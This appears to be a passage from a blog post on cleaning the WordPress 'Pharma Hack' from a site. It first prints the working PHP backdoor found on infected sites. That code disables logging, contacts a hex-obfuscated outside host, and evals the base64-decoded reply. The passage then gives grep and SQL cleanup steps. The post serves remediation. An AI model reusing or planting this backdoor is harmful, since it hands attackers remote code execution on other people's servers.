@ini_restore("safe_mode_exec_dir");@ini_restore("disable_functions");@ini_restore("allow_url_fopen");
if(@function_exists('ini_set'))
{@ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('file_uploads',1);
@ini_set('allow_url_fopen',1);}else{@ini_alter('error_log',NULL); @ini_alter('log_errors',0);
@ini_alter('file_uploads',1); @ini_alter('allow_url_fopen',1);}
function GetShellContent($host,$url){if(@function_exists('curl_init'))
{$full_url='http://'.$host.'/'.$url;$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$full_url);curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl,CURLOPT_HEADER,false);curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,10);
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/4.0');$data=@curl_exec($curl);
curl_close($curl);return $data;}elseif(@function_exists('fsockopen'))
{$fp=@fsockopen($host,80,$errno,$errstr,10);
if($fp){$out="GET /$url"." HTTP/1.0\r\n";$out .="Host: $host\r\n";
$out .="User-Agent: Mozilla/4.0\r\n";$out .="Connection: Close\r\n\r\n";
@fwrite($fp,$out);while($ans[]=fgets($fp));fclose($fp);$ans=trim(implode('',$ans));
$data=(trim(substr($ans,strpos($ans,"\r\n\r\n"))));
return $data;}}elseif(@function_exists('file_get_contents') && @ini_get('allow_url_fopen')==1)
{$full_url='http://'.$host.'/'.$url;$data=@file_get_contents($full_url);return $data;}}
if($_REQUEST['sh'] != "")
{eval(base64_decode(GetShellContent("\x73\x65\x6f\x74\x6f\x6f\x73\x2e\x63\x6f\x6d","s/i.php?"
.$_REQUEST['sh']."&host=".urlencode($_SERVER['SERVER_NAME'])."&url=".urlencode
($_SERVER['REQUEST_URI']))));exit;}

I went ahead and scanned the whole site for files that had base64_decodes in them. To search for these do the following:

grep -r base64 * |awk -F : '{print $1}' |sort |uniq

This will print out a list of each file that contains the string “base64″. You should examine each file carefully for rouge content, as many files legitimately contain this string and need it to function. If you are unsure of the code, replace the file with a fresh copy. Most of the files I’ve seen that are infected have the base64 statement at the very top of the file but this is not always the case.

Once you get the files cleaned, you need to work on the database. The exploit adds and/or modifies entries in the wp_options table. Using the MySQL interpreter or phpMyAdmin run the following query:

SELECT * FROM `wp_options` where `option_name` LIKE 'rss%' ORDER BY `wp_options`.`option_name` ASC;

This will search the wp_options table for all entries beginning with rss_ and return them. You will need to delete each one that looks similar to this:

rss_552afe0001e673901a9f2caebdd3141d

rss_ followed by strings of random numbers or letters is bad and MUST be deleted as they are added by the exploit. Also, the exploit adds or modifies several other records in the same table. A couple of the sites we found recommended running this query as well as these options should not be set or contain any data:

delete from wp_options where option_name = "class_generic_support";
delete from wp_options where option_name = "widget_generic_support";
delete from wp_options where option_name = "fwp’";
delete from wp_options where option_name = "wp_check_hash";
delete from wp_options where option_name = "ftp_credentials";

—————————————————————-

If all goes well, this information should help you eradicate the WordPress Pharma Hack from your wordpress installation. For a more detailed post on how to remove this hack, I highly recommend Matt Critcher’s post on his blog…

 

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